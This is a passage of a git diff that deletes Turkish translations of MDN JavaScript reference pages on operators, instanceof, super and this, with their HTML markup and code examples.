<dt>{{jsxref("Operators/Arithmetic_Operators", "%", "#Remainder")}}</dt> - <dd>Remainder operator.</dd> -</dl> - -<h3 id="Relational_operators">Relational operators</h3> - -<p>A comparison operator compares its operands and returns a <code>Boolean</code> value based on whether the comparison is true.</p> - -<dl> - <dt>{{jsxref("Operators/in", "in")}}</dt> - <dd>The <code>in</code> operator determines whether an object has a given property.</dd> - <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt> - <dd>The <code>instanceof</code> operator determines whether an object is an instance of another object.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", "<", "#Less_than_operator")}}</dt> - <dd>Less than operator.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", ">", "#Greater_than_operator")}}</dt> - <dd>Greater than operator.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", "<=", "#Less_than_or_equal_operator")}}</dt> - <dd>Less than or equal operator.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", ">=", "#Greater_than_or_equal_operator")}}</dt> - <dd>Greater than or equal operator.</dd> -</dl> - -<h3 id="Equality_operators">Equality operators</h3> - -<p>The result of evaluating an equality operator is always of type <code>Boolean</code> based on whether the comparison is true.</p> - -<dl> - <dt>{{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}</dt> - <dd>Equality operator.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", "!=", "#Inequality")}}</dt> - <dd>Inequality operator.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}</dt> - <dd>Identity operator.</dd> - <dt>{{jsxref("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</dt> - <dd>Nonidentity operator.</dd> -</dl> - -<h3 id="Bitwise_shift_operators">Bitwise shift operators</h3> - -<p>Operations to shift all bits of the operand.</p> - -<dl> - <dt>{{jsxref("Operators/Bitwise_Operators", "<<", "#Left_shift")}}</dt> - <dd>Bitwise left shift operator.</dd> - <dt>{{jsxref("Operators/Bitwise_Operators", ">>", "#Right_shift")}}</dt> - <dd>Bitwise right shift operator.</dd> - <dt>{{jsxref("Operators/Bitwise_Operators", ">>>", "#Unsigned_right_shift")}}</dt> - <dd>Bitwise unsigned right shift operator.</dd> -</dl> - -<h3 id="Binary_bitwise_operators">Binary bitwise operators</h3> - -<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.</p> - -<dl> - <dt>{{jsxref("Operators/Bitwise_Operators", "&", "#Bitwise_AND")}}</dt> - <dd>Bitwise AND.</dd> - <dt>{{jsxref("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt> - <dd>Bitwise OR.</dd> - <dt>{{jsxref("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt> - <dd>Bitwise XOR.</dd> -</dl> - -<h3 id="Binary_logical_operators">Binary logical operators</h3> - -<p>Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.</p> - -<dl> - <dt>{{jsxref("Operators/Logical_Operators", "&&", "#Logical_AND")}}</dt> - <dd>Logical AND.</dd> - <dt>{{jsxref("Operators/Logical_Operators", "||", "#Logical_OR")}}</dt> - <dd>Logical OR.</dd> -</dl> - -<h3 id="Conditional_(ternary)_operator">Conditional (ternary) operator</h3> - -<dl> - <dt>{{jsxref("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt> - <dd> - <p>The conditional operator returns one of two values based on the logical value of the condition.</p> - </dd> -</dl> - -<h3 id="Assignment_operators">Assignment operators</h3> - -<p>An assignment operator assigns a value to its left operand based on the value of its right operand.</p> - -<dl> - <dt>{{jsxref("Operators/Assignment_Operators", "=", "#Assignment")}}</dt> - <dd>Assignment operator.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt> - <dd>Multiplication assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "/=", "#Division_assignment")}}</dt> - <dd>Division assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt> - <dd>Remainder assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}</dt> - <dd>Addition assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt> - <dd>Subtraction assignment</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "<<=", "#Left_shift_assignment")}}</dt> - <dd>Left shift assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", ">>=", "#Right_shift_assignment")}}</dt> - <dd>Right shift assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", ">>>=", "#Unsigned_right_shift_assignment")}}</dt> - <dd>Unsigned right shift assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "&=", "#Bitwise_AND_assignment")}}</dt> - <dd>Bitwise AND assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt> - <dd>Bitwise XOR assignment.</dd> - <dt>{{jsxref("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt> - <dd>Bitwise OR assignment.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br> - {{experimental_inline}} {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt> - <dd> - <p>Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.</p> - </dd> -</dl> - -<h3 id="Comma_operator">Comma operator</h3> - -<dl> - <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt> - <dd>The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.</dd> -</dl> - -<h3 id="Non-standard_features">Non-standard features</h3> - -<dl> - <dt>{{non-standard_inline}} {{jsxref("Operators/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt> - <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd> - <dt>{{non-standard_inline}} {{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}}</dt> - <dd>The expression closure syntax is a shorthand for writing simple function.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>ECMAScript 1st Edition.</td> - <td>Standard</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>New: Spread operator, destructuring assignment, <code>super</code> keyword, Array comprehensions, Generator comprehensions</td> - </tr> - </tbody> -</table> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Operator precedence</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/operators/instanceof/index.html b/files/tr/web/javascript/reference/operators/instanceof/index.html deleted file mode 100644 index d94b35a526..0000000000 --- a/files/tr/web/javascript/reference/operators/instanceof/index.html +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: instanceof -slug: Web/JavaScript/Reference/Operators/instanceof -translation_of: Web/JavaScript/Reference/Operators/instanceof -original_slug: Web/JavaScript/Reference/Operatörler/instanceof ---- -<div>{{jsSidebar("Operators")}}</div> - -<p><code><strong>I</strong></code><strong><code>nstanceof</code> operatorü</strong> bir nesne'nin prototip (prototype) zincirinin, <code>belirli bir prototipin kurucu(constructor) metodu olup olmadığını testeder.</code></p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>object</code></dt> - <dd>Test edilecek nesne</dd> -</dl> - -<dl> - <dt><code>constructor</code></dt> - <dd>Test edilecek karşı kurucu fonksiyon</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code><strong>I</strong>nstanceof</code> operatorü <span id="result_box" lang="tr"><span>nesnenin prototip zincirinde 'constructor.prototype' varlığını testeder.</span></span></p> - -<pre class="brush: js">// defining constructors -function C() {} -function D() {} - -var o = new C(); - -// true, because: Object.getPrototypeOf(o) === C.prototype -o instanceof C; - -// false, because D.prototype is nowhere in o's prototype chain -o instanceof D; - -o instanceof Object; // true, because: -C.prototype instanceof Object // true - -C.prototype = {}; -var o2 = new C(); - -o2 instanceof C; // true - -// false, because C.prototype is nowhere in -// o's prototype chain anymore -o instanceof C; - -D.prototype = new C(); // add C to [[Prototype]] linkage of D -var o3 = new D(); -o3 instanceof D; // true -o3 instanceof C; // true since C.prototype is now in o3's prototype chain -</pre> - -<p>Bir instanceof testinin değerinin yapıcıların prototip özelliklerinde yapılan değişikliklere göre değişebileceğini ve Object.setPrototypeOf kullanılarak bir nesne prototipini değiştirerek de değişebileceğini unutmayın. Standart olmayan __proto__ sözde-özelliği(pseudo-property) kullanarak da mümkündür.</p> - -<h3 id="instanceof_ve_çoklu_bağlam_(multiple_context)_(e.g._frames_or_windows)"><code>instanceof</code> ve çoklu bağlam (multiple context) (e.g. frames or windows)</h3> - -<p>Farklı kapsamların (Scopes) farklı yürütme (execution) ortamları vardır. Bu, farklı yerleşik yapılara sahip oldukları anlamına gelir (farklı global nesne, farklı yapıcılar, vb.). Bu, beklenmedik sonuçlara neden olabilir. Örneğin, [] instanceof window.frames [0] .Array false döndürür, çünkü Array.prototype! == window.frames [0] .Array ve diziler belli bir dizgeden (former) miras alırlar. Bu başlangıçta mantıklı gelmeyebilir, ancak betiğinizde (script) birden çok cerceve (frame) veya pencereyi (window) ele almaya başladığınızda ve nesneleri fonsiyonlarla bir bağlamdan diğerine geçirirken, bu geçerli ve güçlü bir sayı olacaktır. Örneğin, belirli bir nesnenin aslında Array.isArray (myObj) kullanarak bir Array olup olmadığını güvenli bir şekilde kontrol edebilirsiniz.</p> - -<div class="note"><strong>Mozilla geliştiricleri için not:</strong> - -<p>Kodda XPCOM kullanımının özel bir etkisi vardır: obj instanceof xpcomInterface (ör. Components.interfaces.nsIFile), obj.QueryInterface (xpcomInterface) çağırır ve QueryInterface başarılı olursa true değerini döndürür. Bu tür bir aramanın bir yan etkisi, başarılı bir örnekleme sonucunda obj'de xpcomInterface özelliklerini kullanabilmenizdir. Standart JavaScript globals'ın aksine, test obj instance of xpcomInterface, obj farklı bir kapsamdan olsa bile beklendiği gibi çalışır.</p> -</div> - -<h2 id="Examples">Examples</h2> - -<h3 id="Demonstrating_that_String_and_Date_are_of_type_Object_and_exceptional_cases">Demonstrating that <code>String</code> and <code>Date</code> are of type <code>Object</code> and exceptional cases</h3> - -<p>The following code uses <code>instanceof</code> to demonstrate that <code>String</code> and <code>Date</code> objects are also of type <code>Object</code> (they are derived from <code>Object</code>).</p> - -<p>However, objects created with the object literal notation are an exception here: Although the prototype is undefined, <code>instanceof Object</code> returns <code>true</code>.</p> - -<pre class="brush: js">var simpleStr = 'This is a simple string'; -var myString = new String(); -var newStr = new String('String created with constructor'); -var myDate = new Date(); -var myObj = {}; - -simpleStr instanceof String; // returns false, checks the prototype chain, finds undefined -myString instanceof String; // returns true -newStr instanceof String; // returns true -myString instanceof Object; // returns true - -myObj instanceof Object; // returns true, despite an undefined prototype -({}) instanceof Object; // returns true, same case as above - -myString instanceof Date; // returns false - -myDate instanceof Date; // returns true -myDate instanceof Object; // returns true -myDate instanceof String; // returns false -</pre> - -<h3 id="Demonstrating_that_mycar_is_of_type_Car_and_type_Object">Demonstrating that <code>mycar</code> is of type <code>Car</code> and type <code>Object</code></h3> - -<p>The following code creates an object type <code>Car</code> and an instance of that object type, <code>mycar</code>. The <code>instanceof</code> operator demonstrates that the <code>mycar</code> object is of type <code>Car</code> and of type <code>Object</code>.</p> - -<pre class="brush: js">function Car(make, model, year) { - this.make = make; - this.model = model; - this.year = year; -} -var mycar = new Car('Honda', 'Accord', 1998); -var a = mycar instanceof Car; // returns true -var b = mycar instanceof Object; // returns true -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition. Implemented in JavaScript 1.4.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof" title="/en-US/docs/JavaScript/Reference/Operators/typeof">typeof</a></code></li> - <li>{{jsxref("Symbol.hasInstance")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/operators/super/index.html b/files/tr/web/javascript/reference/operators/super/index.html deleted file mode 100644 index 1248797b8e..0000000000 --- a/files/tr/web/javascript/reference/operators/super/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: super -slug: Web/JavaScript/Reference/Operators/super -translation_of: Web/JavaScript/Reference/Operators/super -original_slug: Web/JavaScript/Reference/Operatörler/super ---- -<div>{{jsSidebar("Operators")}}</div> - -<p><strong>super, </strong>ebeveyn sınıftaki fonksiyonlara ulaşmak ve onları çağırmak için kullanılan bir ifadedir.</p> - -<p>The <code>super.prop</code> and <code>super[expr]</code> expressions are valid in any <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definition</a> in both <a href="/en-US/docs/Web/JavaScript/Reference/Classes">classes</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object literals</a>.</p> - -<h2 id="Sözdizimi_Syntax">Sözdizimi (Syntax)</h2> - -<pre class="syntaxbox notranslate">super([arguments]); // ebeveyn sınıfın constructot'ını çağırır. -super.functionOnParent([arguments]); // ebeveyn sınıftaki functionOnParent fonksiyonunu çalıştırır. -</pre> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Constructor içinde <code>super</code> ifadesi tek başına kullanılır ve <code>this</code> ifadesinden önce kullanılması zorunludur. Aynı zamanda <code>super</code> ifadesi ebeveyn sınıftaki fonksiyonları çağırmak için de kullanılabilir.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Sınflarda_super_kullanımı">Sınflarda <code>super</code> kullanımı</h3> - -<p>This code snippet is taken from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>). Here <code>super()</code> is called to avoid duplicating the constructor parts' that are common between <code>Rectangle</code> and <code>Square</code>.</p> - -<pre class="brush: js notranslate">class Rectangle { - constructor(height, width) { - this.name = 'Rectangle'; - this.height = height; - this.width = width; - } - sayName() { - console.log('Hi, I am a ', this.name + '.'); - } - get area() { - return this.height * this.width; - } - set area(value) { - this._area = value; - } -} - -class Square extends Rectangle { - constructor(length) { - this.height; // ReferenceError, super needs to be called first! - - // Here, it calls the parent class's constructor with lengths - // provided for the Rectangle's width and height - super(length, length); - - // Note: In derived classes, super() must be called before you - // can use 'this'. Leaving this out will cause a reference error. - this.name = 'Square'; - } -}</pre> - -<h3 id="Super-calling_static_methods">Super-calling static methods</h3> - -<p>You are also able to call super on <a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a> methods.</p> - -<pre class="brush: js notranslate">class Rectangle { - static logNbSides() { - return 'I have 4 sides'; - } -} - -class Square extends Rectangle { - static logDescription() { - return super.logNbSides() + ' which are all equal'; - } -} -Square.logDescription(); // 'I have 4 sides which are all equal' -</pre> - -<h3 id="Deleting_super_properties_will_throw_an_error">Deleting super properties will throw an error</h3> - -<p>You cannot use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a> and <code>super.prop</code> or <code>super[expr]</code> to delete a parent class' property, it will throw a {{jsxref("ReferenceError")}}.</p> - -<pre class="brush: js notranslate">class Base { - foo() {} -} -class Derived extends Base { - delete() { - delete super.foo; // this is bad - } -} - -new Derived().delete(); // ReferenceError: invalid delete involving 'super'. </pre> - -<h3 id="super.prop_cannot_overwrite_non-writable_properties"><code>super.prop</code> cannot overwrite non-writable properties</h3> - -<p>When defining non-writable properties with e.g. {{jsxref("Object.defineProperty")}}, <code>super</code> cannot overwrite the value of the property.</p> - -<pre class="brush: js notranslate">class X { - constructor() { - Object.defineProperty(this, 'prop', { - configurable: true, - writable: false, - value: 1 - }); - } -} - -class Y extends X { - constructor() { - super(); - } - foo() { - super.prop = 2; // Cannot overwrite the value. - } -} - -var y = new Y(); -y.foo(); // TypeError: "prop" is read-only -console.log(y.prop); // 1 -</pre> - -<h3 id="Using_super.prop_in_object_literals">Using <code>super.prop</code> in object literals</h3> - -<p>Super can also be used in the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal</a> notation. In this example, two objects define a method. In the second object, <code>super</code> calls the first object's method. This works with the help of {{jsxref("Object.setPrototypeOf()")}} with which we are able to set the prototype of <code>obj2</code> to <code>obj1</code>, so that <code>super</code> is able to find <code>method1</code> on <code>obj1</code>.</p> - -<pre class="brush: js notranslate">var obj1 = { - method1() { - console.log('method 1'); - } -} - -var obj2 = { - method2() { - super.method1(); - } -} - -Object.setPrototypeOf(obj2, obj1); -obj2.method2(); // logs "method 1" -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - - - -<p>{{Compat("javascript.operators.super")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/operators/this/index.html b/files/tr/web/javascript/reference/operators/this/index.html deleted file mode 100644 index a2ee362c2a..0000000000 --- a/files/tr/web/javascript/reference/operators/this/index.html +++ /dev/null @@ -1,348 +0,0 @@ ---- -title: this -slug: Web/JavaScript/Reference/Operators/this -translation_of: Web/JavaScript/Reference/Operators/this -original_slug: Web/JavaScript/Reference/Operatörler/this ---- -<div>{{jsSidebar("Operators")}}</div> - -<p><strong>Fonksiyon'un <code>this</code> anahtar kelimesi</strong> diğer dillere göre birazcık farklı davranır. Ayrıca <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict modu</a> ve non-strict modu arasında farklılıklar bulunur.</p> - -<p>Çoğunlukla, <code>this</code>'in değeri fonksiyonun çağrılma biçimine göre belirlenir. Çalışma esnasında değeri değiştirilemez, ve her fonksiyonu çağırışta farklı olabilir. ES5 bu adreste <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a></code> method to <a href="#The_bind_method">set the value of a function's <code>this</code> regardless of how it's called</a>.</p> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">this</pre> - -<h2 id="Global_içerik">Global içerik</h2> - -<p>Global konumda (fonksiyon dışında), <code>this</code> global nesnesini referans gösterir, strict modunda olmak bu durumu değiştirmez..</p> - -<pre class="brush:js">console.log(this.document === document); // true - -// Web browserlerinde window objesi global objedir.: -console.log(this === window); // true - -this.a = 37; -console.log(window.a); // 37 -</pre> - -<h2 id="Function_içerik">Function içerik</h2> - -<p>Fonksiyon içerisinde, <code>this</code>'in değeri fonksiyonun nasıl çağrıldığına bağlıdır..</p> - -<h3 id="Basit_çağrı">Basit çağrı</h3> - -<pre class="brush:js">function f1(){ - return this; -} - -f1() === window; // global obje -</pre> - -<p>Bu durumda, <code>this</code>'in değeri çağrı ile ayarlanmaz. Kod strict modda olmadığı sürece, <code>this</code>'in değeri mutlaka obje olmalıdır bu yüzdende default değer olan global objesi döner.</p> - -<pre class="brush:js">function f2(){ - "use strict"; // strict modu içerisinde çalıştıralım - return this; -} - -f2() === undefined; -</pre> - -<p>Strict modu içerisinde, <code>this</code>'in değeri çalıştırılma içeriğine nasıl girdiyse o şekilde kalır. Eğer tanımlanmamışsa, undefined olarak kalır. Ayrıca tüm değerlere eşitlenebilir, örneğin <code>null</code> yada <code>42</code> yada <code>"I am not this"</code>.</p> - -<div class="note"><strong>Not:</strong> İkinci örnekte, <code>this</code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> olmalıdır, çünkü <code>f2</code> taban belirtilmeden çağrılmıştır. (örn: <code>window.f2()</code>). Bu özellik bazı browserlerde desteklenmemektedir. <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">strict mod</a> henüz geliştirme aşamasındayken çoğu browser yanlış davranarak <code>window</code> objesini döndürür.</div> - -<h3 id="Obje_methodu_cağrısı">Obje methodu cağrısı</h3> - -<p>Fonksiyon bir objenin methodu olarak çağrıldığında, <code>this</code> çağrıldığı obje olarak atanacaktır.</p> - -<p>In the following example, when <code>o.f()</code> is invoked, inside the function <code>this</code> is bound to the <code>o</code> object.</p> - -<pre class="brush:js">var o = { - prop: 37, - f: function() { - return this.prop; - } -}; - -console.log(o.f()); // logs 37 -</pre> - -<p>Note that this behavior is not at all affected by how or where the function was defined. In the previous example, we defined the function inline as the <code>f</code> member during the definition of <code>o</code>. However, we could have just as easily defined the function first and later attached it to <code>o.f</code>. Doing so results in the same behavior:</p> - -<pre class="brush:js">var o = {prop: 37}; - -function independent() { - return this.prop; -} - -o.f = independent; - -console.log(o.f()); // logs 37 -</pre> - -<p>This demonstrates that it matters only that the function was invoked from the <code>f</code> member of <code>o</code>.</p> - -<p>Similarly, the <code>this</code> binding is only affected by the most immediate member reference. In the following example, when we invoke the function, we call it as a method <code>g</code> of the object <code>o.b</code>. This time during execution, <code>this</code> inside the function will refer to <code>o.b</code>. The fact that the object is itself a member of <code>o</code> has no consequence; the most immediate reference is all that matters.</p> - -<pre class="brush:js">o.b = {g: independent, prop: 42}; -console.log(o.b.g()); // logs 42 -</pre> - -<h4 id="this_on_the_object's_prototype_chain"><code>this</code> on the object's prototype chain</h4> - -<p>The same notion holds true for methods defined somewhere on the object's prototype chain. If the method is on an object's prototype chain, <code>this</code> refers to the object the method was called on, as if the method was on the object.</p> - -<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }}; -var p = Object.create(o); -p.a = 1; -p.b = 4; - -console.log(p.f()); // 5 -</pre> - -<p>In this example, the object assigned to the variable <code>p</code> doesn't have its own <code>f</code> property, it inherits it from its prototype. But it doesn't matter that the lookup for <code>f</code> eventually finds a member with that name on <code>o</code>; the lookup began as a reference to <code>p.f</code>, so <code>this</code> inside the function takes the value of the object referred to as <code>p</code>. That is, since <code>f</code> is called as a method of <code>p</code>, its <code>this</code> refers to <code>p</code>. This is an interesting feature of JavaScript's prototype inheritance.</p> - -<h4 id="this_with_a_getter_or_setter"><code>this</code> with a getter or setter</h4> - -<p>Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its <code>this</code> bound to the object from which the property is being set or gotten.</p> - -<pre class="brush:js">function modulus(){ - return Math.sqrt(this.re * this.re + this.im * this.im); -} - -var o = { - re: 1, - im: -1, - get phase(){ - return Math.atan2(this.im, this.re); - } -}; - -Object.defineProperty(o, 'modulus', { - get: modulus, enumerable:true, configurable:true}); - -console.log(o.phase, o.modulus); // logs -0.78 1.4142 -</pre> - -<h3 id="As_a_constructor">As a constructor</h3> - -<p>When a function is used as a constructor (with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword), its <code>this</code> is bound to the new object being constructed.</p> - -<p>Note: while the default for a constructor is to return the object referenced by <code>this</code>, it can instead return some other object (if the return value isn't an object, then the <code>this</code> object is returned).</p> - -<pre class="brush:js">/* - * Constructors work like this: - * - * function MyConstructor(){ - * // Actual function body code goes here. - * // Create properties on |this| as - * // desired by assigning to them. E.g., - * this.fum = "nom"; - * // et cetera... - * - * // If the function has a return statement that - * // returns an object, that object will be the - * // result of the |new| expression. Otherwise, - * // the result of the expression is the object - * // currently bound to |this| - * // (i.e., the common case most usually seen). - * } - */ - -function C(){ - this.a = 37; -} - -var o = new C(); -console.log(o.a); // logs 37 - - -function C2(){ - this.a = 37; - return {a:38}; -} - -o = new C2(); -console.log(o.a); // logs 38 -</pre> - -<p>In the last example (<code>C2</code>), because an object was returned during construction, the new object that <code>this</code> was bound to simply gets discarded. (This essentially makes the statement "<code>this.a = 37;</code>" dead code. It's not exactly dead, because it gets executed, but it can be eliminated with no outside effects.)</p> - -<h3 id="call_and_apply"><code>call</code> and <code>apply</code></h3> - -<p>Where a function uses the <code>this</code> keyword in its body, its value can be bound to a particular object in the call using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a></code> or <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a></code> methods that all functions inherit from <code>Function.prototype</code>.</p> - -<pre class="brush:js">function add(c, d){ - return this.a + this.b + c + d; -} - -var o = {a:1, b:3}; - -// The first parameter is the object to use as -// 'this', subsequent parameters are passed as -// arguments in the function call -add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16 - -// The first parameter is the object to use as -// 'this', the second is an array whose -// members are used as the arguments in the function call -add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34 -</pre> - -<p>Note that with <code>call</code> and <code>apply</code>, if the value passed as <code>this</code> is not an object, an attempt will be made to convert it to an object using the internal <code>ToObject</code> operation. So if the value passed is a primitive like <code>7</code> or <code>'foo'</code>, it will be converted to an Object using the related constructor, so the primitive number <code>7</code> is converted to an object as if by <code>new Number(7)</code> and the string <code>'foo'</code> to an object as if by <code>new String('foo')</code>, e.g.</p> - -<pre class="brush:js">function bar() { - console.log(Object.prototype.toString.call(this)); -} - -bar.call(7); // [object Number] -</pre> - -<h3 id="The_bind_method">The <code>bind</code> method</h3> - -<p>ECMAScript 5 introduced <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a></code>. Calling <code>f.bind(someObject)</code> creates a new function with the same body and scope as <code>f</code>, but where <code>this</code> occurs in the original function, in the new function it is permanently bound to the first argument of <code>bind</code>, regardless of how the function is being used.</p> - -<pre class="brush:js">function f(){ - return this.a; -} - -var g = f.bind({a:"azerty"}); -console.log(g()); // azerty - -var o = {a:37, f:f, g:g}; -console.log(o.f(), o.g()); // 37, azerty -</pre> - -<h3 id="As_a_DOM_event_handler">As a DOM event handler</h3> - -<p>When a function is used as an event handler, its <code>this</code> is set to the element the event fired from (some browsers do not follow this convention for listeners added dynamically with methods other than <code>addEventListener</code>).</p> - -<pre class="brush:js">// When called as a listener, turns the related element blue -function bluify(e){ - // Always true - console.log(this === e.currentTarget); - // true when currentTarget and target are the same object - console.log(this === e.target); - this.style.backgroundColor = '#A5D9F3'; -} - -// Get a list of every element in the document -var elements = document.getElementsByTagName('*'); - -// Add bluify as a click listener so when the -// element is clicked on, it turns blue -for(var i=0 ; i<elements.length ; i++){ - elements[i].addEventListener('click', bluify, false); -}</pre> - -<h3 id="In_an_in–line_event_handler">In an in–line event handler</h3> - -<p>When code is called from an in–line handler, its <code>this</code> is set to the DOM element on which the listener is placed:</p> - -<pre class="brush:js"><button onclick="alert(this.tagName.toLowerCase());"> - Show this -</button> -</pre> - -<p>The above alert shows <code>button</code>. Note however that only the outer code has its <code>this</code> set this way:</p> - -<pre class="brush:js"><button onclick="alert((function(){return this}()));"> - Show inner this -</button> -</pre> - -<p>In this case, the inner function's <code>this</code> isn't set so it returns the global/window object (i.e. the default object in non–strict mode where <code>this</code> isn't set by the call).</p> - -<h2 id="Specifications">Specifications</h2> - -<table 